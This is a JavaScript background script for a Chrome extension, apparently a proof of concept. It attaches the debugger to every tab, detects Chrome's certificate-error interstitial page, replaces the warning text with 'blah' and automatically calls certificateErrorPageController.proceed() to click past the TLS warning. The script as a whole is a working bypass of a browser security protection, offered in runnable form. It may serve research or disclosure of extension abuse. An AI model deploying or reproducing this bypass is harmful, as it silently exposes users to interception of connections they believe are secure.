const CDP_VERSION = '1.3'

/**
 * Try to attach to target
 * @param  {number}        tabId Tab ID
 * @return {Promise<void>}       Callback when finished
 */
function attachToTarget(tabId) {
    return new Promise(resolve => {
        chrome.debugger.attach({tabId}, CDP_VERSION, () => {
            if (chrome.runtime.lastError) {
                // Already attached or unattachable target, ignore error
            } else {
                console.debug(`Attached to tab #${tabId}`)
            }
            resolve()
        })
    })
}

/**
 * Evaluate code in target
 * @param  {number}        tabId Tab ID
 * @param  {()=>void}      fn    Function to evaluate
 * @return {Promise<void>}       Callback when finished
 */
function evaluateInTarget(tabId, fn) {
    return new Promise(resolve => {
        chrome.debugger.sendCommand({tabId}, 'Runtime.evaluate', {
            expression: `(${fn.toString()})()`
        }, () => {
            if (chrome.runtime.lastError) {
                console.warn(`Failed to evaluate in tab #${tabId}`, chrome.runtime.lastError.message)
            }
            resolve()
        })
    })
}

// Attach to any tab as soon as it becomes attachable
chrome.tabs.onUpdated.addListener(async (tabId) => {
    await attachToTarget(tabId)
    await evaluateInTarget(tabId, () => {
        // Execute payload only on interstitial pages
        if (document.location.href !== 'chrome-error://chromewebdata/') {
            return
        }

        // Give visual feedback
        const wrapper = document.querySelector('.interstitial-wrapper')
        const iter = document.createNodeIterator(wrapper, NodeFilter.SHOW_TEXT)
        let node
        while (node = iter.nextNode()) {
            if (node.textContent.trim() === '') continue
            node.textContent = 'blah '.repeat(~~(node.textContent.length / 5))
        }

        // Bypass interstitial
        certificateErrorPageController.proceed()
    })
})